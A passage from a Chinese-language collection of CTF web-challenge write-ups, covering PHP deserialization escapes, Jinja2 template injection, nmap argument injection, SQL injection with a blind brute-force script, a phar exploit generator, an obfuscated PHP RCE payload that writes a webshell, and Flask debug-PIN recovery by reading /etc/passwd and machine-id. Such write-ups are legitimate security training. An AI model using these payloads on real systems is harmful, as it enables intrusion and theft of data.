highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

根据提示,检查phpinfo,发现提示文件d0g3_f1ag.php。

说明我们要改变f的值为show_image,用file_get_contents函数包含其文件。

发现最后包含的时候只解了一层base64。

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

所以在这里只能让img_path为空。

如果这题只简单地利用extract函数进行变量覆盖,传入d0g3_f1ag.php的base64值,会做不下去,因为extract后面紧跟着对$_SESSION[‘img’]值的重新覆盖操作。

所以要利用字符串逃逸。

在本地对源码稍作修改,观察没过滤前序列化代码的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

$function = @$_GET['f'];

// function filter($img){
// $filter_arr = array('php','flag','php5','php4','fl1g');
// $filter = '/'.implode('|',$filter_arr).'/i';
// return preg_replace($filter,'',$img);
// }


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);



if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = (serialize($_SESSION));

echo $serialize_info;

POST传入:

1
_SESSION[user]=guest&_SESSION[function]=aaaaaaaaaaaaaaaaaaaaa&_SESSION[img]=ZDBnM19mMWFnLnBocA==

序列化代码:

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:21:"aaaaaaaaaaaaaaaaaaaaa";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

思路是构造user的值,该值将被替换为空,使user的值往后吃若干位,直接把function成员给吃到它的值那边。

于是可以构造下列payload:

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

flag将会被替换掉,留出来24个空,于是user的值开始向后吃,吃到a,紧接着凭空构造出的成员变量开始起作用,一个是img一个是dd,这两个刚好占满了。

所以成功反序列化,得到:flag in /d0g3_fllllllag

对’/d0g3_fllllllag’进行base64加密,payload:

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

[WesternCTF2018]shrine

整理代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

// 显示代码


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

第二个路由提示要在**/shrine/**下提交参数,输入49,返回49,猜测是jinja2模板注入。

1
2
3
4
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

//flask模块生成了app ,在app的config内定义了FLAG参数,参数的值为os环境变量的FLAG值

config 对象:

config 对象就是Flask的config对象,也就是 app.config 对象。

输入:,可以看到里面的变量信息:current_app

payload:

{{url_for.__globals__['current_app'].config}}

[网鼎杯 2020 朱雀组]Nmap

跟之前做的一道题挺像,绕过arg与cmd函数,然后构造nmap的payload。

payload:

1
' -iL /flag -oN flag.txt '

通过-iL将flag读取,通过-oN写入到flag.txt里面,然后直接查看。

[极客大挑战 2019] LoveSQL

查具体某个数据库中某个表中的某些栏:

1
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'

查询具体数据:

1
union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

[极客大挑战 2019] HardSQL

使用报错注入,在最后查询具体flag值时发现报错注入只能回显32位,便使用floor函数来读取右边的内容。

1
1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#

[GXYCTF2019]BabySQli

要点:
1.大小写可以绕过一些关键字的检测,例如:oRder

2.联合注入的特性,当查询的内容不存在时,自动在数据库每一列下面补入相应内容。

在这里插入图片描述

[CISCN 2019 初赛]Love Math

PHP动态函数的性质:

可以让字符串做函数名,加上括号后可以当做函数执行。

所以要构造如下的形式:

1
c=($_GET[a])($_GET[b])

中括号被ban,使用**{}**来代替

最终payload如下:

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

分析:

base_convert(37907361743,10,36)(dechex(1598506324))base_convert(37907361743,10,36)=>”hex2bin”,dechex(1598506324)=>”5f474554”,hex2bin(“5f474554”)=>_GET

($$pi){pi}(($$pi){cos})即是需要构造的$_GET{pi}($_GET{cos})形式。

[HNCTF 2022 WEEK2]easy_include

1.通过include函数,包含:/var/log/nginx/access.log日志文件

2.用burp抓包,在ua头的后面附加上一句话木马

[SWPUCTF 2022 新生赛]file_master

1.学到了通过#define width/height 数值来绕过文件内容宽度和高度的限制

[BSidesCF 2019]Kookie

考点:添加Cookie请求头内容为:username = admin

[BSidesCF 2019]Futurella

flag在网页源代码里。。

[De1CTF 2019]SSRF Me

提示内容:flag在/flag.txt中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#! /usr/bin/env python
# encoding=utf-8

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500

if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print
resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action")) #从cookie中获取action的值,赋值给action
param = urllib.unquote(request.args.get("param", "")) #从get请求中获取param的值,赋值给param
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr

if (waf(param)):
return "No Hacker!!!!" #不允许param的开头出现gopher或者file

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

首先关注/De1ta路由,它进行了一系列赋值操作,并实例化Task对象,使得Task对象里的__init__函数得以执行。

经过__init__的一系列赋值后,走到return json.dumps(task.Exec())这一步,进入Exec()函数审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def Exec(self):
result = {}
result['code'] = 500

if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print
resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

第一个if要求通过checkSign方法的检测。

即:在/De1ta路由中传入的sign必须要与getsign方法产生的签名一致。

观察getsign方法:

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

secret_key不可知,但我们可以在/geneSign路由看到具体的签名结果。

但是在/geneSign路由中,action会被强制改为scan。

回到Exec方法:

我们如果通过了checkSign方法,走到下一步:

如果action中出现了scan,那么就把目标文件写到result.txt中,如果action中出现了read,就把这个result.txt给读出来。

所以我们既要触发scan又要触发read。

但是/getsign路由中action被锁死为scan了。

绕过方法:

在/De1ta路由中传入

1
?param=flag.txt
1
Cookie: action=readscan;sign=??

sign要怎么得到呢,即可在/geneSign路由中传参:

1
?param=flag.txtread

妙处在于action虽然被锁死成scan,但是param是可控的,我们在后面多加上一个read,便可获取跟De1ta里面一模一样的签名,

获得签名之后再输回De1ta中,得到flag。

[第五空间 2021]yet_another_mysql_injection

1.在源代码中发现提交?source参数可以得到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

如果在user表中关于password字段的查询内容跟输入的password变量一致,便可以得到flag,所以我们要得到正确的password。

知识点:

sql中的通配符为:%,所以可以构造如下的payload:

1
password=1'or/**/password/**/like/**/'(某个字符)%'#

使用python脚本进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://node4.anna.nssctf.cn:28181/index.php'

flag = ''

k = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

payload = {"username":"admin", "password":""}

while(1):
for i in k:
payload['password'] = f"1'or/**/password/**/like/**/'{flag+i}%'#"
html = requests.post(url = url, data = payload)
if 'wrong password' in html.text:
flag += i
print(flag)
break

[第五空间 2021]EasyCleanup

Session文件上传配合上python脚本进行条件竞争。

[UUCTF 2022 新生赛]ez_upload

一种Apache解析漏洞,当上传的文件名为:muma.jpg.php,既可以绕过后缀的检测,又可以正常当成php文件进行解析。

[NISACTF 2022]join-us

1.使用报错注入,用||替换or,在payload中写入select * from aa,会使其数据库名随着错误的表名一起爆出来。

2.column被ban,无法通过正常的方法得知列名,于是使用无列名注入的办法。

union被ban掉,无法使用基于union的方法直接获取表中的第x列。

使用基于join语句的办法,通过将两个相同表的列名合并,但是join不允许合并的两个表中有相同的列名,因此通过报错得到列名

获取列名payload:

1
1'|| extractvalue(1,concat('~',(select * from (select * from output a join output)c),'~'))%23

得到列名:data

最终利用mid函数获取完整的flag:

1
1'||extractvalue(0,concat(0x7e,mid((select data from output),1,20)))%23
1
1'||extractvalue(0,concat(0x7e,mid((select data from output),20,40)))%23

[NSSRound#4 SWPU]1zweb

一道phar反序列化题目。

在查看文件一栏中查看index.php,得到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}

发现有反序列化漏洞的代码,但是没有找到unserialize函数,接着去查看upload.php,得到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>

能看出涉及到了phar反序列化漏洞。

有一个检测点:文件内容不能出现=__HALT_COMPILER();,这个是Phar的文件标识:Stub。

先利用第一个exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class LoveNss
{
public $ljt;
public $dky;
public $cmd;

public function __construct()
{
$this->ljt = "Misc";
$this->dky = "Re";
$this->cmd = 'system($_POST[0]);';
}
}

$o = new LoveNss();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss();
$phar->setMetadata($o); //将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
#本题要将生成得phar文件放入010修改属性数量来绕过weak_up
#php.ini中phar.readonly改成Off

生成出phar.phar文件,再将其后缀改为png。

为了绕过wakeup方法,将其送入010editor,把成员数量由3改成4,保存后送入下一个exp:

1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import sha1
import gzip

with open('phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

作用有两个:

1.在010修改过phar文件之后,其数字签名会失效,需要用这个脚本重新获取签名。

2.通过gzip压缩的方式,使=__HALT_COMPILER();消失,但不影响正常的使用。

最后将文件上传,搭配上phar伪协议进行执行,拿到flag。

[SWPUCTF 2021 新生赛]hardrce_3

使用自增payload:

1
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27!%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B  //assert($_POST[_]);

使用file_put_contents函数写一个带有一句话木马的文件再进行连接。

1
_=file_put_contents('99.php','<?php eval($_POST["k"]);');

[SUCTF 2019]Pythonginx

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])  #定义路由/getUrl,可以通过GET和POST方法访问
def getUrl():
url = request.args.get("url") #获取url中通过get方法的参数url的值
host = parse.urlparse(url).hostname #获取url中的主机名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

目标是:return urllib.request.urlopen(finalUrl).read(),我们需要绕过三个if的检测,最终利用这个语句去读取flag。

即:在前两次检测中,我们输入的host不能是suctf.cc,但最后一次经过idna编码和utf-8解码后,host要变成suctf.cc

法一

利用如下脚本,寻找可用的字符进行替换,绕过if检测:

1
2
3
4
5
6
7
8
9
chars = ['s', 'u', 'c', 't', 'f'] #这里可以改成想要被替换的字符
for c in chars:
for i in range(0x7f, 0x10FFFF):
try:
char_i = chr(i).encode('idna').decode('utf-8')
if char_i == c:
print('ASCII: {} Unicode: {} Number: {}'.format(c, chr(i), i))
except:
pass

比如拿到字符:,这个经过idna编码和utf-8解码后会变成u,满足要求。

访问如下的目录:

1
/usr/local/nginx/conf/nginx.conf

看到注释内容:

1
# location /flag { # alias /usr/fffffflag; # } }

知晓了flag位置,即可获取。

法二:

payload:

1
file:////def

在本地断点测试会发现在第一个获取host的语句:host = urlparse(url).hostname中,host为Null。

接着通过代码看一个原理:

1
2
3
4
5
6
7
8
9
10
11
from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse

url = "file:////def"
parts = parse.urlsplit(url)
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)

print(parts2)

输出:

1
2
SplitResult(scheme='file', netloc='', path='//def', query='', fragment='')
SplitResult(scheme='file', netloc='def', path='', query='', fragment='')

在经过urlunsplit函数之后,//def出现在了列表中的第二个位置,且变成了def。

利用这个特点可以绕过第二个和第三个if。

[GYCTF2020]FlaskApp

法一:

先用以下payload读取app.py上的源码:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

使用python的字符拼接绕过对关键字的过滤:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

接着用同样的方法对flag进行读取:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

法二:

在解码的页面中随意输入会进入flask框架的debug模式,在任意一行Traceback中点击可以进入一个上锁的终端,需要正确的pin码来进行解锁。

要得知pin码需要知道以下六个信息:

1
2
3
4
5
6
1、flask所登录的用户名
2、modname
3、getattr(app, “name”, app.class.name)。一般为Flask
4、flask库下app.py的绝对路径。这个可以由报错信息看出
5、当前网络的mac地址的十进制数。
6、机器的id。

1.通过读取/etc/passwd来获取:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

2.默认为:flask.app

3.默认为:Flask

4.在debug页面中可以看到app.py的绝对路径

5.读取/sys/class/net/eth0/address,拿到后要先去掉:,然后进行进制转换,例如:

1
print(int('76ef88ded162',16))

6.linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_i

对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id

或是读取/etc/machine-id

最后利用脚本,输出获得的pin码,在终端进行RCE。

1
import os
1
os.popen('ls /').read()
1
os.popen('cat /this_is_the_flag.txt').read()

[0CTF 2016]piapiapia

发现www.zip有压缩包文件泄露,打开看。

文件中发现有个register.php,变去网站查看该路由,并注册账号。

登录之后根据index.php中的源码:

1
2
3
4
5
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}

来到了profile.php路由。

根据源码:

1
2
3
if($profile  == null) {
header('Location: update.php');
}

我们还没有上传profile,其变量是为空的,来到了update.php路由。

这里有个更新的表格,根据源码,如果我们填的信息都通过了检测,则会:$user->update_profile($username, serialize($profile));

它吧$profile变量进行序列化塞进update_profile方法中。

这个$user在class.php中,关注源码:

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

调用了父类的filter方法:

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

重点:

序列化代码中where会被替换成hacker,多一个字符,由于序列化代码是先生成,后被替换,所以会往下“吃”后面自己构造的序列化代码,由此可以实现反序列化逃逸。

目标:

利用逃逸原理,在nickname字段后面添自己构造的photo字段,最终在profile.php路由中完成文件的包含,读取config.php中的flag。

重点2:

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)   
die('Invalid nickname');

将nickname以数组的形式传入,使得preg_match返回0,绕过检测。

构造payload:

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

重点3:

为什么payload中第一个s前面要加上}提前闭合呢?

看例子:

1
2
3
4
5
6
7
<?php
$profile = array('');
$profile['phone'] = 1;
$profile['email'] = 1;
$profile['nickname'] = '1';
$profile['photo'] = 1;
echo(serialize($profile));

输出:

1
a:5:{i:0;s:0:"";s:5:"phone";i:1;s:5:"email";i:1;s:8:"nickname";s:1:"1";s:5:"photo";i:1;}

如果nickname用数组的形式传入时:

1
2
3
4
5
6
7
<?php
$profile = array('');
$profile['phone'] = 1;
$profile['email'] = 1;
$profile['nickname'] = ['1'];
$profile['photo'] = 1;
echo(serialize($profile));

输出:

1
a:5:{i:0;s:0:"";s:5:"phone";i:1;s:5:"email";i:1;s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";i:1;}

多了一个大括号,所以payload中要把数组引起的大括号给先闭合。

打完payload之后进入profile.php中进行查看,发现config.php的base64内容已经加载到源码里了,读取拿flag

[FBCTF2019]RCEService

怪题网上没一个wp能知道源码是怎么来的。

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

法一:
因为preg_match只能匹配第一行,所以这里可以采用多行绕过。

payload形式:`